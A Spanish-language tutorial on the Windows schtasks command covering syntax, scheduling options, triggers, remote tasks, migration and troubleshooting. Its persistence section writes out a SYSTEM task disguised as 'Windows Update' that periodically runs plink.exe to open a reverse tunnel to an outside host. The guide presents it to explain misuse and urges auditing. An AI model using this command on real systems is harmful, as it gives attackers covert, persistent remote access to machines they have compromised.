Comando SCHTASKS: guía completa del programador de tareas en Windows

Si trabajas a diario con servidores o PCs Windows tarde o temprano acabas topándote con el comando schtasks. Es la utilidad de línea de comandos que habla directamente con el Programador de tareas y te permite automatizar prácticamente cualquier cosa: lanzar scripts, ejecutar backups, revisar logs o incluso encender procesos de mantenimiento sin tocar la interfaz gráfica.

Dominar bien schtasks marca la diferencia entre ir apagando fuegos manualmente y tener un sistema que se cuida solo. En este artículo vas a ver, con todo lujo de detalles, cómo funciona el comando, qué permisos necesitas, la sintaxis completa, cada parámetro importante y un montón de ejemplos prácticos (incluyendo escenarios con equipos remotos, migraciones entre versiones de Windows y casos reales en los que las tareas no se ejecutan como esperas).

Qué es schtasks y para qué sirve exactamente

El comando schtasks es la interfaz en consola del Programador de tareas de Windows. Sustituyó al antiguo at.exe y está disponible en prácticamente todas las versiones modernas del sistema: Windows 10, Windows 11, Windows Server 2019, 2022 y equivalentes anteriores compatibles.

Su misión es gestionar tareas programadas: puedes crear, modificar, listar, lanzar, detener y eliminar tareas tanto en el equipo local como en servidores remotos. Es ideal para automatizar scripts, ejecutables, backups, comprobaciones de seguridad, monitorización o cualquier comando que quieras que se repita según una planificación.

Además de programar tareas periódicas, schtasks permite disparar acciones en momentos clave del sistema (inicio, inicio de sesión, inactividad o eventos del registro de Windows). Y, lo más importante, puedes decidir con qué cuenta se ejecutan, qué nivel de privilegios tienen y si se almacenará o no la contraseña asociada.

En entornos profesionales y de ciberseguridad también se usa para establecer persistencia, es decir, asegurar que un determinado comando se ejecuta cada cierto tiempo o en un disparador concreto, normalmente con credenciales privilegiadas como la cuenta SYSTEM, lo que lo hace muy potente (y también delicado si se usa mal).

Permisos necesarios para usar schtasks con seguridad

No todas las cuentas pueden hacer de todo con schtasks. Para manipular tareas ajenas o tareas del sistema hace falta formar parte del grupo de Administradores del equipo donde residen esas tareas.

En el equipo local, si quieres ver, programar o modificar todas las tareas, la cuenta que ejecuta schtasks debe ser administradora. Un usuario estándar solo puede, en general, gestionar sus propias tareas y con limitaciones de privilegios.

En equipos remotos la cosa se complica un poco más: debes ser miembro del grupo Administradores del servidor remoto o indicar explícitamente unas credenciales de administrador con el parámetro /u (y su contraseña con /p). Además, el dominio del equipo local tiene que ser el mismo o uno de confianza para el dominio del servidor remoto, o las credenciales no se podrán validar.

La tarea en sí también necesita permisos suficientes para lo que va a ejecutar. Por defecto, si no indicas nada, la tarea se ejecuta con el usuario actual (o con el usuario indicado en /u al programarla). Si quieres que el trabajo corra con otro usuario o con la cuenta de sistema, debes usar /ru y opcionalmente /rp para la contraseña.

Es importante entender que la cuenta SYSTEM no tiene inicio de sesión interactivo: los programas lanzados como SYSTEM no muestran ventanas ni permiten interacción del usuario. Son perfectos para servicios, scripts silenciosos o tareas de mantenimiento, pero no para aplicaciones que esperen que el usuario haga clic o introduzca datos.

Sintaxis básica y operaciones principales del comando

La forma general del comando schtasks se construye siempre alrededor de una operación principal (create, delete, query, etc.). A nivel muy básico, la ayuda muestra algo así:

schtasks /Create | /Delete | /Query | /Change | /Run | /End | /?

Cada una de estas operaciones tiene su propia colección de parámetros y combinaciones válidas. Las más importantes son:

• schtasks /create: crea una nueva tarea programada.
• schtasks /delete: elimina una o varias tareas.
• schtasks /query: lista las tareas existentes en formato tabla, lista o CSV.
• schtasks /change: modifica propiedades de una tarea ya creada (usuario de ejecución, contraseña, programa, modo interactivo, etc.).
• schtasks /run: fuerza la ejecución inmediata de una tarea ya programada.
• schtasks /end: detiene el programa que una tarea está ejecutando en este momento.

Desde la consola de Windows puedes ver ayuda detallada de cada operación con el clásico /?. Por ejemplo, schtasks /create /? muestra toda la sintaxis y explicación de sus parámetros, igual que schtasks /query /? o cualquier otra variante.

Crear tareas con schtasks: sintaxis completa

La operación más usada con diferencia es /create, que sirve para definir una nueva tarea. Su sintaxis completa es extensa, pero te permite controlar prácticamente cualquier detalle de la programación:

schtasks /create /sc <tipo> /tn <nombre> /tr <comando> <usuario> ]] <usuario> | system}] | *] ] ]

Los parámetros clave a conocer cuando creas una tarea son:

• /sc <tipo>: tipo de programación (MINUTE, HOURLY, DAILY, WEEKLY, MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT).
• /tn <nombre>: nombre de la tarea. Puede incluir ruta de carpeta virtual: \Carpeta\MiTarea.
• /tr <comando>: programa, script o comando a ejecutar, con ruta completa si no está en %SystemRoot%\System32.
• /s <equipo>: equipo remoto donde se creará la tarea (nombre o IP).
• /u y /p: credenciales con las que se ejecuta el propio comando schtasks al hablar con el remoto (solo válidos con /s).
• /ru y /rp: cuenta y contraseña con la que se ejecutará la tarea cuando llegue su turno.
• /mo, /d, /m, /st, /sd, /ed: modificadores de frecuencia, días concretos, meses y fechas de inicio/fin.
• /it: obliga a que la tarea solo corra cuando el usuario “Run as” tenga sesión iniciada.
• /np: no guarda contraseña (solo recursos locales, ejecución no interactiva).
• /z: elimina la tarea cuando complete su calendario.
• /rl: nivel de privilegio con el que se lanza (LIMITED o HIGHEST).

La flexibilidad es enorme, pero también lo son las posibles combinaciones erróneas (por ejemplo, mezclar parámetros no válidos para cierto tipo de programación). Por eso conviene repasar la ayuda de cada modo y probar primero en laboratorio.

Tipos de programación y modificadores de frecuencia

El parámetro /sc define el “cuándo” de la tarea. En función del tipo escogido, algunos parámetros adicionales son obligatorios, opcionales o directamente inválidos.

Los tipos de planificación disponibles son:

• MINUTE: cada n minutos.
• HOURLY: cada n horas.
• DAILY: cada n días.
• WEEKLY: cada n semanas, con selección de días de la semana.
• MONTHLY: programación mensual flexible (días concretos, semanas concretas, último día, meses específicos).
• ONCE: una sola ejecución en fecha y hora indicadas.
• ONSTART: cada arranque del sistema.
• ONLOGON: en cada inicio de sesión de usuario (cualquiera o uno concreto según /ru).
• ONIDLE: cuando el sistema permanece inactivo un número de minutos determinado.
• ONEVENT: ejecuciones desencadenadas por eventos del registro (canal y criterios definidos).

El modificador /mo ajusta la frecuencia dentro de cada tipo. Por ejemplo: número de minutos para MINUTE, número de días para DAILY, semanas para WEEKLY, meses para MONTHLY o valores especiales como FIRST, SECOND, THIRD, FOURTH y LASTDAY para ciertas combinaciones mensuales.

Otros parámetros como /d y /m añaden más precisión: /d permite indicar días concretos de la semana (MON, TUE, WED, THU, FRI, SAT, SUN o * para todos) o un día numérico del mes según la variante usada, y /m restringe la programación a ciertos meses (JAN-DEC o *).

Cuando se programa por inactividad (ONIDLE) es imprescindible /i <minutos>, que marca cuánto tiempo debe estar el equipo sin actividad antes de lanzar la tarea. Para ONCE es obligatorio /st, y opcional /sd si quieres que no se ejecute “hoy” sino otro día concreto.

Programaciones por minutos, horas y días: ejemplos prácticos

En entornos reales es muy habitual automatizar scripts de monitorización o mantenimiento que se repiten cada pocos minutos u horas. Estas son algunas combinaciones clave:

Ejemplo 1 – Ejecutar un script cada 20 minutos:

schtasks /create /sc minute /mo 20 /tn "Security Script" /tr "\\central\data\scripts\sec.vbs"

Aquí se indica una frecuencia de 20 minutos y no se especifica ni hora ni fecha de inicio, por lo que la primera ejecución será 20 minutos después de crear la tarea. El script se encuentra en una ruta de red, pero la ejecución se produce en el equipo local.

Ejemplo 2 – Cada 100 minutos dentro de una franja horaria:

schtasks /create /tn "Security Script" /tr sec.vbs /sc minute /mo 100 /st 17:00 /et 08:00 /k

En este caso el trabajo se dispara cada 100 minutos entre las 17:00 y las 08:00. Con /k se fuerza la detención del programa si sigue activo cuando llega la hora de fin; sin ese parámetro, simplemente se dejaría de relanzar, pero no se mataría el proceso en curso.

Para programaciones horarias, la lógica es similar pero con /sc hourly. Por ejemplo, ejecutarlo cada 5 horas a partir de una fecha concreta:

schtasks /create /sc hourly /mo 5 /sd 03/01/2002 /tn MyApp /tr c:\apps\myapp.exe

Otro patrón horaria típico es “cada X horas durante un rango de tiempo” usando /du como duración máxima, por ejemplo 10 horas, de modo que fuera de esa ventana no se vuelvan a disparar más instancias hasta el siguiente ciclo diario.

En planificaciones diarias (/sc daily) el modificador por defecto es un día, así que si no especificas /mo, la tarea se ejecutará todos los días a la hora indicada. Ajustar la fecha de inicio /sd o fin /ed te permite acotar campañas temporales (mantenimiento solo hasta cierta fecha, pruebas, etc.).

Programaciones semanales y mensuales avanzadas

Cuando necesitas algo más fino que “cada X días” conviene tirar de programación semanal o mensual. Con WEEKLY puedes jugar con intervalos de semanas y días de la semana; con MONTHLY, con días del mes, semanas concretas del mes o el último día.

Ejemplo – Cada dos viernes:

schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc weekly /mo 2 /d FRI

Aquí /mo 2 indica un intervalo de dos semanas, y /d FRI restringe al viernes. Omitiendo /mo, sería todos los viernes.

Ejemplo – El segundo domingo de cada mes (semana concreta del mes):

schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc monthly /mo SECOND /d SUN

En este caso /mo SECOND marca la segunda semana del mes, mientras que /d SUN define el día dentro de esa semana. Esta misma lógica vale para FIRST, THIRD o FOURTH combinados con un solo día.

Programar por día del mes también es muy común: con /sc monthly y /d 15 por ejemplo ejecutas siempre el día 15. /m MAY,JUN limitaría la ejecución solo a esos dos meses, mientras que /m * implica todos.

Para automatizaciones de cierre de mes suele usarse el modificador LASTDAY, que lanza la tarea el último día del mes, respetando meses de 28, 29, 30 o 31 días sin que tengas que preocuparte del calendario.

Disparadores especiales: inicio, inicio de sesión, inactividad y eventos

No todas las tareas se basan en fechas y horas fijas. Muchas veces interesa reaccionar a eventos del sistema, como cuando arranca la máquina, cuando un usuario inicia sesión o cuando no hay actividad.

ONSTART arranca la tarea cada vez que se inicia Windows. Normalmente basta con esto:

schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc onstart

ONLOGON dispara la ejecución cuando un usuario inicia sesión. Puedes usarlo tanto en el equipo local como en un remoto:

schtasks /create /tn "Start Web Site" /tr c:\myiis\webstart.bat /sc onlogon /s Server23

ONIDLE se activa tras un periodo de inactividad, declarado con /i. Por ejemplo, para lanzar algo al llevar 10 minutos sin uso:

schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc onidle /i 10

El tipo ONEVENT permite reaccionar a sucesos del Visor de eventos, especificando canal con /EC y la definición del evento mediante XML (normalmente con /xml). Es ideal para automatizar respuestas a fallos de servicios, errores críticos o eventos de seguridad.

Ejecutar tareas ahora mismo y simular “Ejecutar ahora”

Windows no ofrece un botón “Run now” desde schtasks, pero sí puedes conseguir el mismo efecto de dos maneras distintas, según lo que necesites.

La primera opción es usar schtasks /run sobre una tarea ya programada:

schtasks /run /tn MiTarea

Este comando ignora la programación y lanza de inmediato la tarea usando el programa, usuario y contraseña configurados en ella. Es muy útil para probar si la tarea está bien definida sin esperar a la próxima ejecución.

La segunda opción consiste en crear una tarea de tipo ONCE que se ejecute unos minutos en el futuro, simulando ese “ahora mismo”, por ejemplo dentro de 2-3 minutos a partir de la hora actual. Después, si quieres, puedes eliminarla con /delete automáticamente.

Como truco adicional para depurar problemas, conviene mirar el archivo SchedLgU.txt en %SystemRoot%, donde el Programador de tareas deja rastro de muchos errores de ejecución y de credenciales.

Persistencia y ejecución con cuenta SYSTEM

Un uso muy habitual en ciberseguridad y administración avanzada es emplear schtasks para asegurar que cierto comando se ejecute de forma recurrente bajo la cuenta SYSTEM, logrando así persistencia con máximos privilegios.

Un patrón clásico de persistencia sería algo similar a:

C:\> schtasks /create /ru "SYSTEM" /sc minute /mo <minutos> /tn "<nombre>" /tr "<comando>"

Con esto se crea una tarea periódica que corre como SYSTEM cada n minutos, ejecutando el comando que especifiques (scripts, binarios, herramientas de conexión, etc.). No se requiere contraseña en /rp porque la cuenta SYSTEM no usa credenciales de usuario.

Ejemplo real de persistencia con conexión inversa cada 10 minutos:

C:\> schtasks /create /ru "SYSTEM" /sc minute /mo 10 /tn "Windows Update" /tr "C:\temp\plink.exe 10.1.1.22 -P 443 -C -R 3445:127.0.0.1:445 -N -l root -i private.key"

Aquí la tarea con apariencia inocente (“Windows Update”) lanza periódicamente plink.exe con una serie de parámetros: IP de destino, puerto 443, compresión activada, redirección de puertos, sin shell interactivo (-N), usuario remoto root y autentificación por clave privada.

Este tipo de uso demuestra por qué schtasks es tan sensible: en manos de un administrador legítimo es una herramienta de automatización potentísima, pero también es uno de los vectores habituales para mantener acceso persistente en un sistema comprometido.

Desde el punto de vista de buenas prácticas, conviene revisar periódicamente las tareas programadas, auditar aquellas que usan SYSTEM, y tener controlados scripts y binarios que se ejecutan automáticamente, especialmente en servidores expuestos.

Trabajar con equipos remotos y credenciales alternativas

Una gran ventaja de schtasks es que puede actuar contra otros servidores sin tener que conectarte a ellos manualmente. Usando /s para indicar el host remoto y /u//p para las credenciales administrativas, puedes crear, listar o modificar tareas en esos sistemas.

Ejemplo – Programar una tarea en un servidor remoto con usuario administrador local:

schtasks /create /s SRV01 /tn MyApp /tr "c:\program files\corpapps\myapp.exe" /sc daily /mo 10

Si tu usuario actual ya es administrador en SRV01 no necesitas /u. Si no lo es, deberás indicar una cuenta con permisos:

schtasks /create /s SRV06 /tn MyApp /tr "c:\program files\corpapps\myapp.exe" /sc hourly /mo 3 /u reskits\admin01 /p R43253@4$ /ru SRV06\user03 /rp MyFav!!Pswd

En este comando hay dos niveles de credenciales: las credenciales de /u (admin01) se usan para crear la tarea en el remoto, mientras que las de /ru (user03) se emplean después para ejecutar la tarea cada tres horas. Esto permite que el trabajo en sí no corra con privilegios de administrador si no hace falta.

Si el equipo local no pertenece a un dominio confiable para el dominio del remoto, el servidor no podrá autenticar la cuenta proporcionada en /u y la tarea quedará “vacía”: aparecerá listada, pero sin datos de credenciales correctos, sin próxima hora de ejecución y con mensajes de advertencia indicando que la información de la cuenta no se ha podido establecer.

Al consultar en detalle con schtasks /query /V verás que campos como “Run As User” no se pueden recuperar y que la “Next Run Time” es “Never”. En ese caso hay que revisar confianza entre dominios o usar otra cuenta/servidor para configurar correctamente la tarea.

Importar y migrar tareas programadas entre servidores

En migraciones desde Windows Server 2003 a versiones más modernas era (y sigue siendo en algunos entornos heredados) frecuente tener que traer todas las tareas programadas a un servidor nuevo, manteniendo sus propiedades y adaptando cuentas de usuario.

Un enfoque práctico consiste en copiar los archivos .job desde C:\Windows\Tasks del servidor antiguo a una carpeta temporal (por ejemplo C:\Task), junto con schtasks.exe y schedsvc.dll de C:\Windows\System32, y después trasladar esa carpeta al nuevo servidor.

Una vez allí, se copian los .job a la carpeta de tareas del nuevo sistema y se utiliza un bucle FOR para actualizar en masa la cuenta y contraseña con la que se ejecutan las tareas:

cd C:\Task
FOR /R . %F in (*.*) do schtasks /change /TN %~nF /RU dom\Administrador /RP CONTRASEÑA

La orden schtasks /change permite modificar las credenciales con los parámetros /ru (usuario) y /rp (contraseña), entre otras propiedades. De esta forma, todas las tareas importadas quedan actualizadas para ejecutarse bajo una cuenta válida en el nuevo dominio/servidor.

Tras este proceso, si todo ha ido bien, el sistema mostrará mensajes de éxito del tipo “Correcto: se han cambiado los parámetros de tareas programadas ‘Nombre_de_la_tarea_programada’”. Después puedes abrir el Programador de tareas gráfico y comprobar que las tareas aparecen y se ejecutan como esperas.

Eso sí, no olvides que muchas tareas dependen de scripts o rutas específicas. Además de los .job, tendrás que copiar cualquier .bat, .vbs, .exe propio, etc., a la misma ubicación que en el servidor de origen o ajustar la ruta en la tarea si decides moverlos a otro sitio.

Consultar, depurar y solucionar problemas habituales con schtasks

Aunque el comando “devuelva ÉXITO” al crear o lanzar una tarea, eso no significa siempre que el programa interno se haya ejecutado bien. Por eso es clave saber consultar y depurar y, cuando haga falta, usar herramientas como tasklist y taskkill.

Con schtasks /query puedes listar tareas tanto locales como remotas, con filtros y distintos formatos:

schtasks /query /S servidor /U usuario /P contraseña /FO TABLE /V

El parámetro /FO define el formato (TABLE, LIST o CSV), /NH quita la cabecera en TABLE/CSV y /V muestra detalles completos (usuario de ejecución, próximo lanzamiento, última ejecución, resultados, etc.).

Un caso real muy típico es que una tarea funcione desde PowerShell manualmente pero no lo haga cuando la lanza el Programador de tareas. Por ejemplo, ejecutar en un servidor schtasks para lanzar una tarea en otro servidor remoto:

schtasks /run /s server02 /tn starttask

Si se ejecuta a mano en PowerShell todo parece correcto (mensaje de éxito y el trabajo arranca en server02), pero cuando se programa vía Task Scheduler en server01 no pasa nada. En este tipo de casos hay que revisar:

• La cuenta con la que corre la tarea en server01 (por ejemplo SYSTEM). SYSTEM no siempre tiene permisos de red equivalentes a un usuario de dominio, lo que puede impedir el acceso a server02.
• El contexto “Ejecutar tanto si el usuario inició sesión como si no”, ya que cambia el entorno disponible (variables, mapeos de red, permisos interactivos, etc.).
• La configuración de “Ejecutar con los privilegios más altos”, que puede ser necesaria en algunos escenarios.
• Rutas absolutas de PowerShell y del script (powershell.exe -File "F:\folder\startserver02task.ps1"), evitando dependencias de la carpeta actual.

Muchas veces la solución pasa por usar una cuenta de servicio de dominio para la tarea en server01 en lugar de SYSTEM, o por revisar políticas de seguridad y firewall entre ambos servidores para permitir la llamada remota.

Otro factor que da problemas es la hora y el formato regional de fechas. Los parámetros /sd y /ed dependen de la configuración regional (DD/MM/AAAA, MM/DD/AAAA, AAAA/MM/DD, etc.). Si la fecha se interpreta mal, la tarea puede que no se ejecute nunca o que se marque con “Never” como próxima ejecución.

Por último, hay que recordar que schtasks no valida rutas ni contraseñas al crear la tarea. Si te equivocas en la ruta de un programa o en la contraseña de una cuenta, la tarea será creada pero fallará en tiempo de ejecución. Si luego expirara una contraseña y no actualizas la tarea, dejará de funcionar sin que schtasks te avise proactivamente.

En conjunto, schtasks es una herramienta tremendamente potente y flexible para automatizar Windows desde consola: permite programar tareas locales y remotas, elegir tipos de disparadores muy variados, ajustar hasta el último detalle de la frecuencia, migrar tareas entre versiones de servidor y gestionar credenciales con precisión. Dominar bien sus parámetros y entender cómo interactúan con el Programador de tareas y con la seguridad de Windows es clave para montar automatizaciones robustas, detectar intentos de persistencia maliciosa y, en general, ahorrarte una enorme cantidad de trabajo manual en el día a día.